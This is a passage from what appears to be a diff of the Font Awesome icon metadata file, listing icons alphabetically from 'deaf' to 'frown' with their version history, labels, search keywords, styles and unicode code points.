storage + styles: + - solid + unicode: f1c0 + voted: false +deaf: + changes: + - '4.6' + - 5.0.0 + label: Deaf + search: + terms: + - ear + - hearing + - sign language + styles: + - solid + unicode: f2a4 + voted: false +deezer: + changes: + - 5.13.1 + - 5.14.0 + label: Deezer + search: + terms: [] + styles: + - brands + unicode: e077 + voted: true +delicious: + changes: + - '4.1' + - 5.0.0 + - 5.7.0 + label: Delicious + search: + terms: [] + styles: + - brands + unicode: f1a5 + voted: false +democrat: + changes: + - 5.5.0 + label: Democrat + search: + terms: + - american + - democratic party + - donkey + - election + - left + - left-wing + - liberal + - politics + - usa + styles: + - solid + unicode: f747 + voted: false +deploydog: + changes: + - 5.0.0 + label: deploy.dog + search: + terms: [] + styles: + - brands + unicode: f38e + voted: false +deskpro: + changes: + - 5.0.0 + label: Deskpro + search: + terms: [] + styles: + - brands + unicode: f38f + voted: false +desktop: + changes: + - '3' + - 5.0.0 + label: Desktop + search: + terms: + - computer + - cpu + - demo + - desktop + - device + - imac + - machine + - monitor + - pc + - screen + styles: + - solid + unicode: f108 + voted: false +dev: + changes: + - 5.4.0 + label: DEV + search: + terms: [] + styles: + - brands + unicode: f6cc + voted: true +deviantart: + changes: + - '4.1' + - 5.0.0 + label: deviantART + search: + terms: [] + styles: + - brands + unicode: f1bd + voted: false +dharmachakra: + changes: + - 5.3.0 + label: Dharmachakra + search: + terms: + - buddhism + - buddhist + - wheel of dharma + styles: + - solid + unicode: f655 + voted: false +dhl: + changes: + - 5.6.0 + label: DHL + search: + terms: + - Dalsey + - Hillblom and Lynn + - german + - package + - shipping + styles: + - brands + unicode: f790 +diagnoses: + changes: + - 5.0.7 + - 5.7.0 + label: Diagnoses + search: + terms: + - analyze + - detect + - diagnosis + - examine + - medicine + styles: + - solid + unicode: f470 + voted: false +diaspora: + changes: + - 5.6.0 + - 5.8.0 + label: Diaspora + search: + terms: [] + styles: + - brands + unicode: f791 + voted: true +dice: + changes: + - 5.0.13 + label: Dice + search: + terms: + - chance + - gambling + - game + - roll + styles: + - solid + unicode: f522 + voted: true +dice-d20: + changes: + - 5.4.0 + label: Dice D20 + search: + terms: + - Dungeons & Dragons + - chance + - d&d + - dnd + - fantasy + - gambling + - game + - roll + styles: + - solid + unicode: f6cf + voted: true +dice-d6: + changes: + - 5.4.0 + label: Dice D6 + search: + terms: + - Dungeons & Dragons + - chance + - d&d + - dnd + - fantasy + - gambling + - game + - roll + styles: + - solid + unicode: f6d1 + voted: false +dice-five: + changes: + - 5.0.13 + label: Dice Five + search: + terms: + - chance + - gambling + - game + - roll + styles: + - solid + unicode: f523 + voted: true +dice-four: + changes: + - 5.0.13 + label: Dice Four + search: + terms: + - chance + - gambling + - game + - roll + styles: + - solid + unicode: f524 + voted: true +dice-one: + changes: + - 5.0.13 + label: Dice One + search: + terms: + - chance + - gambling + - game + - roll + styles: + - solid + unicode: f525 + voted: true +dice-six: + changes: + - 5.0.13 + label: Dice Six + search: + terms: + - chance + - gambling + - game + - roll + styles: + - solid + unicode: f526 + voted: true +dice-three: + changes: + - 5.0.13 + label: Dice Three + search: + terms: + - chance + - gambling + - game + - roll + styles: + - solid + unicode: f527 + voted: true +dice-two: + changes: + - 5.0.13 + label: Dice Two + search: + terms: + - chance + - gambling + - game + - roll + styles: + - solid + unicode: f528 + voted: true +digg: + changes: + - '4.1' + - 5.0.0 + label: Digg Logo + search: + terms: [] + styles: + - brands + unicode: f1a6 + voted: false +digital-ocean: + changes: + - 5.0.0 + - 5.7.0 + label: Digital Ocean + search: + terms: [] + styles: + - brands + unicode: f391 + voted: false +digital-tachograph: + changes: + - 5.1.0 + label: Digital Tachograph + search: + terms: + - data + - distance + - speed + - tachometer + styles: + - solid + unicode: f566 + voted: true +directions: + changes: + - 5.2.0 + - 5.11.0 + label: Directions + search: + terms: + - map + - navigation + - sign + - turn + styles: + - solid + unicode: f5eb + voted: false +discord: + changes: + - 5.0.0 + - 5.15.4 + label: Discord + search: + terms: [] + styles: + - brands + unicode: f392 + voted: false +discourse: + changes: + - 5.0.0 + - 5.0.3 + label: Discourse + search: + terms: [] + styles: + - brands + unicode: f393 + voted: false +disease: + changes: + - 5.7.0 + label: Disease + search: + terms: + - bacteria + - cancer + - covid-19 + - illness + - infection + - sickness + - virus + styles: + - solid + unicode: f7fa + voted: false +divide: + changes: + - 5.0.13 + label: Divide + search: + terms: + - arithmetic + - calculus + - division + - math + styles: + - solid + unicode: f529 + voted: false +dizzy: + changes: + - 5.1.0 + - 5.11.0 + - 5.11.1 + label: Dizzy Face + search: + terms: + - dazed + - dead + - disapprove + - emoticon + - face + styles: + - solid + - regular + unicode: f567 + voted: false +dna: + changes: + - 5.0.7 + - 5.0.10 + label: DNA + search: + terms: + - double helix + - genetic + - helix + - molecule + - protein + styles: + - solid + unicode: f471 + voted: false +dochub: + changes: + - 5.0.0 + label: DocHub + search: + terms: [] + styles: + - brands + unicode: f394 + voted: false +docker: + changes: + - 5.0.0 + label: Docker + search: + terms: [] + styles: + - brands + unicode: f395 + voted: false +dog: + changes: + - 5.4.0 + - 5.12.0 + label: Dog + search: + terms: + - animal + - canine + - fauna + - mammal + - pet + - pooch + - puppy + - woof + styles: + - solid + unicode: f6d3 + voted: false +dollar-sign: + changes: + - '3.2' + - 5.0.0 + - 5.0.9 + - 5.11.0 + - 5.11.1 + label: Dollar Sign + search: + terms: + - $ + - cost + - dollar-sign + - money + - price + - usd + styles: + - solid + unicode: f155 + voted: false +dolly: + changes: + - 5.0.7 + label: Dolly + search: + terms: + - carry + - shipping + - transport + styles: + - solid + unicode: f472 + voted: false +dolly-flatbed: + changes: + - 5.0.7 + label: Dolly Flatbed + search: + terms: + - carry + - inventory + - shipping + - transport + styles: + - solid + unicode: f474 + voted: false +donate: + changes: + - 5.0.9 + label: Donate + search: + terms: + - contribute + - generosity + - gift + - give + styles: + - solid + unicode: f4b9 + voted: false +door-closed: + changes: + - 5.0.13 + label: Door Closed + search: + terms: + - enter + - exit + - locked + styles: + - solid + unicode: f52a + voted: true +door-open: + changes: + - 5.0.13 + label: Door Open + search: + terms: + - enter + - exit + - welcome + styles: + - solid + unicode: f52b + voted: true +dot-circle: + changes: + - '4' + - 5.0.0 + label: Dot Circle + search: + terms: + - bullseye + - notification + - target + styles: + - solid + - regular + unicode: f192 + voted: false +dove: + changes: + - 5.0.9 + - 5.10.1 + - 5.10.2 + label: Dove + search: + terms: + - bird + - fauna + - flying + - peace + - war + styles: + - solid + unicode: f4ba + voted: false +download: + changes: + - '1' + - 5.0.0 + label: Download + search: + terms: + - export + - hard drive + - save + - transfer + styles: + - solid + unicode: f019 + voted: false +draft2digital: + changes: + - 5.0.0 + label: Draft2digital + search: + terms: [] + styles: + - brands + unicode: f396 + voted: false +drafting-compass: + changes: + - 5.1.0 + label: Drafting Compass + search: + terms: + - design + - map + - mechanical drawing + - plot + - plotting + styles: + - solid + unicode: f568 + voted: false +dragon: + changes: + - 5.4.0 + label: Dragon + search: + terms: + - Dungeons & Dragons + - d&d + - dnd + - fantasy + - fire + - lizard + - serpent + styles: + - solid + unicode: f6d5 + voted: false +draw-polygon: + changes: + - 5.2.0 + label: Draw Polygon + search: + terms: + - anchors + - lines + - object + - render + - shape + styles: + - solid + unicode: f5ee + voted: false +dribbble: + changes: + - 5.0.0 + label: Dribbble + search: + terms: [] + styles: + - brands + unicode: f17d + voted: false +dribbble-square: + changes: + - 5.0.0 + label: Dribbble Square + search: + terms: [] + styles: + - brands + unicode: f397 + voted: false +dropbox: + changes: + - '3.2' + - 5.0.0 + - 5.0.1 + label: Dropbox + search: + terms: [] + styles: + - brands + unicode: f16b + voted: false +drum: + changes: + - 5.1.0 + - 5.11.0 + label: Drum + search: + terms: + - instrument + - music + - percussion + - snare + - sound + styles: + - solid + unicode: f569 + voted: true +drum-steelpan: + changes: + - 5.1.0 + label: Drum Steelpan + search: + terms: + - calypso + - instrument + - music + - percussion + - reggae + - snare + - sound + - steel + - tropical + styles: + - solid + unicode: f56a + voted: false +drumstick-bite: + changes: + - 5.4.0 + - 5.7.0 + label: Drumstick with Bite Taken Out + search: + terms: + - bone + - chicken + - leg + - meat + - poultry + - turkey + styles: + - solid + unicode: f6d7 + voted: false +drupal: + changes: + - '4.1' + - 5.0.0 + label: Drupal Logo + search: + terms: [] + styles: + - brands + unicode: f1a9 + voted: false +dumbbell: + changes: + - 5.0.5 + label: Dumbbell + search: + terms: + - exercise + - gym + - strength + - weight + - weight-lifting + styles: + - solid + unicode: f44b + voted: false +dumpster: + changes: + - 5.6.0 + label: Dumpster + search: + terms: + - alley + - bin + - commercial + - trash + - waste + styles: + - solid + unicode: f793 + voted: true +dumpster-fire: + changes: + - 5.6.0 + label: Dumpster Fire + search: + terms: + - alley + - bin + - commercial + - danger + - dangerous + - euphemism + - flame + - heat + - hot + - trash + - waste + styles: + - solid + unicode: f794 + voted: true +dungeon: + changes: + - 5.4.0 + label: Dungeon + search: + terms: + - Dungeons & Dragons + - building + - d&d + - dnd + - door + - entrance + - fantasy + - gate + styles: + - solid + unicode: f6d9 + voted: false +dyalog: + changes: + - 5.0.0 + label: Dyalog + search: + terms: [] + styles: + - brands + unicode: f399 + voted: false +earlybirds: + changes: + - 5.0.0 + label: Earlybirds + search: + terms: [] + styles: + - brands + unicode: f39a + voted: false +ebay: + changes: + - 5.0.11 + - 5.7.0 + label: eBay + search: + terms: [] + styles: + - brands + unicode: f4f4 + voted: true +edge: + changes: + - '4.5' + - 5.0.0 + - 5.12.1 + label: Edge Browser + search: + terms: + - browser + - ie + styles: + - brands + unicode: f282 + voted: false +edge-legacy: + changes: + - 5.13.1 + - 5.14.0 + label: Edge Legacy Browser + search: + terms: [] + styles: + - brands + unicode: e078 + voted: false +edit: + changes: + - '1' + - 5.0.0 + label: Edit + search: + terms: + - edit + - pen + - pencil + - update + - write + styles: + - solid + - regular + unicode: f044 + voted: false +egg: + changes: + - 5.7.0 + label: Egg + search: + terms: + - breakfast + - chicken + - easter + - shell + - yolk + styles: + - solid + unicode: f7fb + voted: false +eject: + changes: + - '1' + - 5.0.0 + label: eject + search: + terms: + - abort + - cancel + - cd + - discharge + styles: + - solid + unicode: f052 + voted: false +elementor: + changes: + - 5.0.3 + label: Elementor + search: + terms: [] + styles: + - brands + unicode: f430 + voted: true +ellipsis-h: + changes: + - '3.1' + - 5.0.0 + label: Horizontal Ellipsis + search: + terms: + - dots + - drag + - kebab + - list + - menu + - nav + - navigation + - ol + - reorder + - settings + - ul + styles: + - solid + unicode: f141 + voted: false +ellipsis-v: + changes: + - '3.1' + - 5.0.0 + label: Vertical Ellipsis + search: + terms: + - dots + - drag + - kebab + - list + - menu + - nav + - navigation + - ol + - reorder + - settings + - ul + styles: + - solid + unicode: f142 + voted: false +ello: + changes: + - 5.2.0 + label: Ello + search: + terms: [] + styles: + - brands + unicode: f5f1 + voted: true +ember: + changes: + - 5.0.0 + - 5.0.3 + label: Ember + search: + terms: [] + styles: + - brands + unicode: f423 + voted: false +empire: + changes: + - '4.1' + - 5.0.0 + label: Galactic Empire + search: + terms: [] + styles: + - brands + unicode: f1d1 + voted: false +envelope: + changes: + - '2' + - 5.0.0 + - 5.10.1 + - 5.10.2 + label: Envelope + search: + terms: + - e-mail + - email + - letter + - mail + - message + - notification + - support + styles: + - solid + - regular + unicode: f0e0 + voted: false +envelope-open: + changes: + - '4.7' + - 5.0.0 + - 5.10.1 + - 5.10.2 + label: Envelope Open + search: + terms: + - e-mail + - email + - letter + - mail + - message + - notification + - support + styles: + - solid + - regular + unicode: f2b6 + voted: false +envelope-open-text: + changes: + - 5.3.0 + - 5.10.1 + - 5.12.0 + label: Envelope Open-text + search: + terms: + - e-mail + - email + - letter + - mail + - message + - notification + - support + styles: + - solid + unicode: f658 + voted: false +envelope-square: + changes: + - '4.1' + - 5.0.0 + label: Envelope Square + search: + terms: + - e-mail + - email + - letter + - mail + - message + - notification + - support + styles: + - solid + unicode: f199 + voted: false +envira: + changes: + - '4.6' + - 5.0.0 + label: Envira Gallery + search: + terms: + - leaf + styles: + - brands + unicode: f299 + voted: false +equals: + changes: + - 5.0.13 + label: Equals + search: + terms: + - arithmetic + - even + - match + - math + styles: + - solid + unicode: f52c + voted: false +eraser: + changes: + - '3.1' + - 5.0.0 + - 5.8.0 + label: eraser + search: + terms: + - art + - delete + - remove + - rubber + styles: + - solid + unicode: f12d + voted: false +erlang: + changes: + - 5.0.0 + - 5.0.3 + - 5.7.0 + label: Erlang + search: + terms: [] + styles: + - brands + unicode: f39d + voted: false +ethereum: + changes: + - 5.0.2 + label: Ethereum + search: + terms: [] + styles: + - brands + unicode: f42e + voted: true +ethernet: + changes: + - 5.6.0 + label: Ethernet + search: + terms: + - cable + - cat 5 + - cat 6 + - connection + - hardware + - internet + - network + - wired + styles: + - solid + unicode: f796 + voted: true +etsy: + changes: + - '4.7' + - 5.0.0 + label: Etsy + search: + terms: [] + styles: + - brands + unicode: f2d7 + voted: false +euro-sign: + changes: + - '3.2' + - 5.0.0 + label: Euro Sign + search: + terms: + - currency + - dollar + - exchange + - money + styles: + - solid + unicode: f153 + voted: false +evernote: + changes: + - 5.8.0 + label: Evernote + search: + terms: [] + styles: + - brands + unicode: f839 +exchange-alt: + changes: + - 5.0.0 + label: Alternate Exchange + search: + terms: + - arrow + - arrows + - exchange + - reciprocate + - return + - swap + - transfer + styles: + - solid + unicode: f362 + voted: false +exclamation: + changes: + - '3.1' + - 5.0.0 + - 5.10.1 + - 5.10.2 + label: exclamation + search: + terms: + - alert + - danger + - error + - important + - notice + - notification + - notify + - problem + - warning + styles: + - solid + unicode: f12a + voted: false +exclamation-circle: + changes: + - '1' + - 5.0.0 + label: Exclamation Circle + search: + terms: + - alert + - danger + - error + - important + - notice + - notification + - notify + - problem + - warning + styles: + - solid + unicode: f06a + voted: false +exclamation-triangle: + changes: + - '1' + - 5.0.0 + - 5.6.1 + label: Exclamation Triangle + search: + terms: + - alert + - danger + - error + - important + - notice + - notification + - notify + - problem + - warning + styles: + - solid + unicode: f071 + voted: false +expand: + changes: + - 5.0.0 + label: Expand + search: + terms: + - bigger + - enlarge + - fullscreen + - resize + styles: + - solid + unicode: f065 + voted: false +expand-alt: + changes: + - '1' + - 5.0.0 + - 5.12.0 + label: Alternate Expand + search: + terms: + - arrows + - bigger + - enlarge + - fullscreen + - resize + styles: + - solid + unicode: f424 + voted: false +expand-arrows-alt: + changes: + - 5.0.0 + - 5.8.0 + label: Alternate Expand Arrows + search: + terms: + - bigger + - enlarge + - fullscreen + - move + - resize + styles: + - solid + unicode: f31e + voted: false +expeditedssl: + changes: + - '4.4' + - 5.0.0 + label: ExpeditedSSL + search: + terms: [] + styles: + - brands + unicode: f23e + voted: false +external-link-alt: + changes: + - 5.0.0 + - 5.11.0 + label: Alternate External Link + search: + terms: + - external-link + - new + - open + - share + styles: + - solid + unicode: f35d + voted: false +external-link-square-alt: + changes: + - 5.0.0 + label: Alternate External Link Square + search: + terms: + - external-link-square + - new + - open + - share + styles: + - solid + unicode: f360 + voted: false +eye: + changes: + - '1' + - 5.0.0 + - 5.7.0 + label: Eye + search: + terms: + - look + - optic + - see + - seen + - show + - sight + - views + - visible + styles: + - solid + - regular + unicode: f06e + voted: false +eye-dropper: + changes: + - '4.2' + - 5.0.0 + - 5.1.0 + label: Eye Dropper + search: + terms: + - beaker + - clone + - color + - copy + - eyedropper + - pipette + styles: + - solid + unicode: f1fb + voted: false +eye-slash: + changes: + - '1' + - 5.0.0 + - 5.7.0 + label: Eye Slash + search: + terms: + - blind + - hide + - show + - toggle + - unseen + - views + - visible + - visiblity + styles: + - solid + - regular + unicode: f070 + voted: false +facebook: + changes: + - '2' + - 5.0.0 + - 5.8.2 + label: Facebook + search: + terms: + - facebook-official + - social network + styles: + - brands + unicode: f09a + voted: false +facebook-f: + changes: + - 5.0.0 + - 5.8.2 + label: Facebook F + search: + terms: + - facebook + styles: + - brands + unicode: f39e + voted: false +facebook-messenger: + changes: + - 5.0.0 + - 5.8.2 + - 5.9.0 + label: Facebook Messenger + search: + terms: [] + styles: + - brands + unicode: f39f + voted: false +facebook-square: + changes: + - '1' + - 5.0.0 + - 5.8.2 + label: Facebook Square + search: + terms: + - social network + styles: + - brands + unicode: f082 + voted: false +fan: + changes: + - 5.9.0 + - 5.10.1 + label: Fan + search: + terms: + - ac + - air conditioning + - blade + - blower + - cool + - hot + styles: + - solid + unicode: f863 + voted: true +fantasy-flight-games: + changes: + - 5.4.0 + label: Fantasy Flight-games + search: + terms: + - Dungeons & Dragons + - d&d + - dnd + - fantasy + - game + - gaming + - tabletop + styles: + - brands + unicode: f6dc + voted: false +fast-backward: + changes: + - '1' + - 5.0.0 + label: fast-backward + search: + terms: + - beginning + - first + - previous + - rewind + - start + styles: + - solid + unicode: f049 + voted: false +fast-forward: + changes: + - '1' + - 5.0.0 + label: fast-forward + search: + terms: + - end + - last + - next + styles: + - solid + unicode: f050 + voted: false +faucet: + changes: + - 5.12.0 + - 5.14.0 + label: Faucet + search: + terms: + - covid-19 + - drip + - house + - hygiene + - kitchen + - sink + - water + styles: + - solid + unicode: e005 + voted: false +fax: + changes: + - '4.1' + - 5.0.0 + - 5.3.0 + - 5.11.0 + label: Fax + search: + terms: + - business + - communicate + - copy + - facsimile + - send + styles: + - solid + unicode: f1ac + voted: false +feather: + changes: + - 5.0.13 + - 5.1.0 + label: Feather + search: + terms: + - bird + - light + - plucked + - quill + - write + styles: + - solid + unicode: f52d + voted: true +feather-alt: + changes: + - 5.1.0 + label: Alternate Feather + search: + terms: + - bird + - light + - plucked + - quill + - write + styles: + - solid + unicode: f56b + voted: true +fedex: + changes: + - 5.6.0 + label: FedEx + search: + terms: + - Federal Express + - package + - shipping + styles: + - brands + unicode: f797 +fedora: + changes: + - 5.6.0 + - 5.6.3 + - 5.8.0 + label: Fedora + search: + terms: + - linux + - operating system + - os + styles: + - brands + unicode: f798 + voted: true +female: + changes: + - '3.2' + - 5.0.0 + label: Female + search: + terms: + - human + - person + - profile + - user + - woman + styles: + - solid + unicode: f182 + voted: false +fighter-jet: + changes: + - '3' + - 5.0.0 + label: fighter-jet + search: + terms: + - airplane + - fast + - fly + - goose + - maverick + - plane + - quick + - top gun + - transportation + - travel + styles: + - solid + unicode: f0fb + voted: false +figma: + changes: + - 5.6.0 + - 5.7.0 + - 5.8.0 + - 5.15.4 + label: Figma + search: + terms: + - app + - design + - interface + styles: + - brands + unicode: f799 + voted: false +file: + changes: + - '3.2' + - 5.0.0 + - 5.10.1 + - 5.10.2 + label: File + search: + terms: + - document + - new + - page + - pdf + - resume + styles: + - solid + - regular + unicode: f15b + voted: false +file-alt: + changes: + - '3.2' + - 5.0.0 + - 5.10.2 + label: Alternate File + search: + terms: + - document + - file-text + - invoice + - new + - page + - pdf + styles: + - solid + - regular + unicode: f15c + voted: false +file-archive: + changes: + - '4.1' + - 5.0.0 + - 5.7.0 + - 5.10.2 + label: Archive File + search: + terms: + - .zip + - bundle + - compress + - compression + - download + - zip + styles: + - solid + - regular + unicode: f1c6 + voted: false +file-audio: + changes: + - '4.1' + - 5.0.0 + - 5.10.2 + label: Audio File + search: + terms: + - document + - mp3 + - music + - page + - play + - sound + styles: + - solid + - regular + unicode: f1c7 + voted: false +file-code: + changes: + - '4.1' + - 5.0.0 + - 5.10.2 + label: Code File + search: + terms: + - css + - development + - document + - html + styles: + - solid + - regular + unicode: f1c9 + voted: false +file-contract: + changes: + - 5.1.0 + - 5.10.2 + label: File Contract + search: + terms: + - agreement + - binding + - document + - legal + - signature + styles: + - solid + unicode: f56c + voted: false +file-csv: + changes: + - 5.4.0 + - 5.10.2 + label: File CSV + search: + terms: + - document + - excel + - numbers + - spreadsheets + - table + styles: + - solid + unicode: f6dd + voted: false +file-download: + changes: + - 5.1.0 + - 5.10.2 + label: File Download + search: + terms: + - document + - export + - save + styles: + - solid + unicode: f56d + voted: true +file-excel: + changes: + - '4.1' + - 5.0.0 + - 5.10.2 + label: Excel File + search: + terms: + - csv + - document + - numbers + - spreadsheets + - table + styles: + - solid + - regular + unicode: f1c3 + voted: false +file-export: + changes: + - 5.1.0 + - 5.7.0 + - 5.10.2 + label: File Export + search: + terms: + - download + - save + styles: + - solid + unicode: f56e + voted: true +file-image: + changes: + - '4.1' + - 5.0.0 + - 5.10.2 + label: Image File + search: + terms: + - document + - image + - jpg + - photo + - png + styles: + - solid + - regular + unicode: f1c5 + voted: false +file-import: + changes: + - 5.1.0 + - 5.7.0 + - 5.10.2 + label: File Import + search: + terms: + - copy + - document + - send + - upload + styles: + - solid + unicode: f56f + voted: true +file-invoice: + changes: + - 5.1.0 + - 5.10.2 + label: File Invoice + search: + terms: + - account + - bill + - charge + - document + - payment + - receipt + styles: + - solid + unicode: f570 + voted: true +file-invoice-dollar: + changes: + - 5.1.0 + - 5.10.2 + label: File Invoice with US Dollar + search: + terms: + - $ + - account + - bill + - charge + - document + - dollar-sign + - money + - payment + - receipt + - usd + styles: + - solid + unicode: f571 + voted: true +file-medical: + changes: + - 5.0.7 + - 5.10.2 + label: Medical File + search: + terms: + - document + - health + - history + - prescription + - record + styles: + - solid + unicode: f477 + voted: false +file-medical-alt: + changes: + - 5.0.7 + - 5.10.2 + label: Alternate Medical File + search: + terms: + - document + - health + - history + - prescription + - record + styles: + - solid + unicode: f478 + voted: false +file-pdf: + changes: + - '4.1' + - 5.0.0 + - 5.10.2 + label: PDF File + search: + terms: + - acrobat + - document + - preview + - save + styles: + - solid + - regular + unicode: f1c1 + voted: false +file-powerpoint: + changes: + - '4.1' + - 5.0.0 + - 5.10.2 + label: Powerpoint File + search: + terms: + - display + - document + - keynote + - presentation + styles: + - solid + - regular + unicode: f1c4 + voted: false +file-prescription: + changes: + - 5.1.0 + - 5.10.2 + label: File Prescription + search: + terms: + - document + - drugs + - medical + - medicine + - rx + styles: + - solid + unicode: f572 + voted: false +file-signature: + changes: + - 5.1.0 + - 5.10.2 + label: File Signature + search: + terms: + - John Hancock + - contract + - document + - name + styles: + - solid + unicode: f573 + voted: true +file-upload: + changes: + - 5.1.0 + - 5.10.2 + label: File Upload + search: + terms: + - document + - import + - page + - save + styles: + - solid + unicode: f574 + voted: true +file-video: + changes: + - '4.1' + - 5.0.0 + - 5.10.2 + label: Video File + search: + terms: + - document + - m4v + - movie + - mp4 + - play + styles: + - solid + - regular + unicode: f1c8 + voted: false +file-word: + changes: + - '4.1' + - 5.0.0 + - 5.10.2 + label: Word File + search: + terms: + - document + - edit + - page + - text + - writing + styles: + - solid + - regular + unicode: f1c2 + voted: false +fill: + changes: + - 5.1.0 + label: Fill + search: + terms: + - bucket + - color + - paint + - paint bucket + styles: + - solid + unicode: f575 + voted: false +fill-drip: + changes: + - 5.1.0 + label: Fill Drip + search: + terms: + - bucket + - color + - drop + - paint + - paint bucket + - spill + styles: + - solid + unicode: f576 + voted: false +film: + changes: + - '1' + - 5.0.0 + label: Film + search: + terms: + - cinema + - movie + - strip + - video + styles: + - solid + unicode: f008 + voted: false +filter: + changes: + - '2' + - 5.0.0 + - 5.10.1 + - 5.11.0 + - 5.11.1 + label: Filter + search: + terms: + - funnel + - options + - separate + - sort + styles: + - solid + unicode: f0b0 + voted: false +fingerprint: + changes: + - 5.1.0 + label: Fingerprint + search: + terms: + - human + - id + - identification + - lock + - smudge + - touch + - unique + - unlock + styles: + - solid + unicode: f577 + voted: true +fire: + changes: + - '1' + - 5.0.0 + - 5.6.0 + - 5.6.3 + - 5.10.1 + label: fire + search: + terms: + - burn + - caliente + - flame + - heat + - hot + - popular + styles: + - solid + unicode: f06d + voted: false +fire-alt: + changes: + - 5.6.3 + label: Alternate Fire + search: + terms: + - burn + - caliente + - flame + - heat + - hot + - popular + styles: + - solid + unicode: f7e4 +fire-extinguisher: + changes: + - '3.1' + - 5.0.0 + label: fire-extinguisher + search: + terms: + - burn + - caliente + - fire fighter + - flame + - heat + - hot + - rescue + styles: + - solid + unicode: f134 + voted: false +firefox: + changes: + - '4.4' + - 5.0.0 + - 5.0.1 + - 5.12.0 + label: Firefox + search: + terms: + - browser + styles: + - brands + unicode: f269 + voted: false +firefox-browser: + changes: + - 5.12.0 + - 5.14.0 + label: Firefox Browser + search: + terms: + - browser + styles: + - brands + unicode: e007 + voted: false +first-aid: + changes: + - 5.0.7 + label: First Aid + search: + terms: + - emergency + - emt + - health + - medical + - rescue + styles: + - solid + unicode: f479 + voted: false +first-order: + changes: + - '4.6' + - 5.0.0 + label: First Order + search: + terms: [] + styles: + - brands + unicode: f2b0 + voted: false +first-order-alt: + changes: + - 5.0.12 + label: Alternate First Order + search: + terms: [] + styles: + - brands + unicode: f50a + voted: false +firstdraft: + changes: + - 5.0.0 + label: firstdraft + search: + terms: [] + styles: + - brands + unicode: f3a1 + voted: false +fish: + changes: + - 5.1.0 + - 5.10.1 + label: Fish + search: + terms: + - fauna + - gold + - seafood + - swimming + styles: + - solid + unicode: f578 + voted: true +fist-raised: + changes: + - 5.4.0 + label: Raised Fist + search: + terms: + - Dungeons & Dragons + - d&d + - dnd + - fantasy + - hand + - ki + - monk + - resist + - strength + - unarmed combat + styles: + - solid + unicode: f6de + voted: false +flag: + changes: + - '1' + - 5.0.0 + label: flag + search: + terms: + - country + - notice + - notification + - notify + - pole + - report + - symbol + styles: + - solid + - regular + unicode: f024 + voted: false +flag-checkered: + changes: + - '3.1' + - 5.0.0 + - 5.7.0 + - 5.10.1 + label: flag-checkered + search: + terms: + - notice + - notification + - notify + - pole + - racing + - report + - symbol + styles: + - solid + unicode: f11e + voted: false +flag-usa: + changes: + - 5.5.0 + label: United States of America Flag + search: + terms: + - betsy ross + - country + - old glory + - stars + - stripes + - symbol + styles: + - solid + unicode: f74d + voted: false +flask: + changes: + - '2' + - 5.0.0 + label: Flask + search: + terms: + - beaker + - experimental + - labs + - science + styles: + - solid + unicode: f0c3 + voted: false +flickr: + changes: + - '3.2' + - 5.0.0 + label: Flickr + search: + terms: [] + styles: + - brands + unicode: f16e + voted: false +flipboard: + changes: + - 5.0.5 + - 5.0.9 + label: Flipboard + search: + terms: [] + styles: + - brands + unicode: f44d + voted: true +flushed: + changes: + - 5.1.0 + - 5.11.0 + - 5.11.1 + label: Flushed Face + search: + terms: + - embarrassed + - emoticon + - face + styles: + - solid + - regular + unicode: f579 + voted: false +fly: + changes: + - 5.0.0 + label: Fly + search: + terms: [] + styles: + - brands + unicode: f417 + voted: false +folder: + changes: + - '1' + - 5.0.0 + - 5.3.0 + - 5.10.1 + label: Folder + search: + terms: + - archive + - directory + - document + - file + styles: + - solid + - regular + unicode: f07b + voted: false +folder-minus: + changes: + - 5.3.0 + label: Folder Minus + search: + terms: + - archive + - delete + - directory + - document + - file + - negative + - remove + styles: + - solid + unicode: f65d + voted: false +folder-open: + changes: + - '1' + - 5.0.0 + label: Folder Open + search: + terms: + - archive + - directory + - document + - empty + - file + - new + styles: + - solid + - regular + unicode: f07c + voted: false +folder-plus: + changes: + - 5.3.0 + - 5.11.0 + - 5.12.1 + label: Folder Plus + search: + terms: + - add + - archive + - create + - directory + - document + - file + - new + - positive + styles: + - solid + unicode: f65e + voted: false +font: + changes: + - '1' + - 5.0.0 + - 5.9.0 + - 5.10.2 + label: font + search: + terms: + - alphabet + - glyph + - text + - type + - typeface + styles: + - solid + unicode: f031 + voted: false +font-awesome: + changes: + - '4.6' + - 5.0.0 + - 5.15.4 + label: Font Awesome + search: + terms: + - meanpath + styles: + - brands + unicode: f2b4 + voted: false +font-awesome-alt: + changes: + - 5.0.0 + - 5.15.4 + label: Alternate Font Awesome + search: + terms: [] + styles: + - brands + unicode: f35c + voted: false +font-awesome-flag: + changes: + - 5.0.0 + - 5.0.1 + - 5.15.4 + label: Font Awesome Flag + search: + terms: [] + styles: + - brands + unicode: f425 + voted: false +font-awesome-logo-full: + changes: + - 5.0.11 + - 5.15.4 + label: Font Awesome Full Logo + ligatures: + - Font Awesome + private: true + search: + terms: [] + styles: + - regular + - solid + - brands + unicode: f4e6 + voted: false +fonticons: + changes: + - '4.4' + - 5.0.0 + label: Fonticons + search: + terms: [] + styles: + - brands + unicode: f280 + voted: false +fonticons-fi: + changes: + - 5.0.0 + label: Fonticons Fi + search: + terms: [] + styles: + - brands + unicode: f3a2 + voted: false +football-ball: + changes: + - 5.0.5 + - 5.11.0 + - 5.11.1 + label: Football Ball + search: + terms: + - ball + - fall + - nfl + - pigskin + - seasonal + styles: + - solid + unicode: f44e + voted: false +fort-awesome: + changes: + - '4.5' + - 5.0.0 + - 5.0.3 + label: Fort Awesome + search: + terms: + - castle + styles: + - brands + unicode: f286 + voted: false +fort-awesome-alt: + changes: + - 5.0.0 + label: Alternate Fort Awesome + search: + terms: + - castle + styles: + - brands + unicode: f3a3 + voted: false +forumbee: + changes: + - '4.3' + - 5.0.0 + label: Forumbee + search: + terms: [] + styles: + - brands + unicode: f211 + voted: false +forward: + changes: + - '1' + - 5.0.0 + label: forward + search: + terms: + - forward + - next + - skip + styles: + - solid + unicode: f04e + voted: false +foursquare: + changes: + - '3.2' + - 5.0.0 + label: Foursquare + search: + terms: [] + styles: + - brands + unicode: f180 + voted: false +free-code-camp: + changes: + - '4.7' + - 5.0.0 + - 5.12.0 + label: freeCodeCamp + search: + terms: [] + styles: + - brands + unicode: f2c5 + voted: false +freebsd: + changes: + - 5.0.0 + label: FreeBSD + search: + terms: [] + styles: + - brands + unicode: f3a4 + voted: false +frog: + changes: + - 5.0.13 + label: Frog + search: + terms: + - amphibian + - bullfrog + - fauna + - hop + - kermit + - kiss + - prince + - ribbit + - toad + - wart + styles: + - solid + unicode: f52e + voted: false +frown: + changes: + - '3.1' + - 5.0.0 + - 5.0.9 + - 5.1.0 + - 5.11.0 + - 5.11.1 + label: 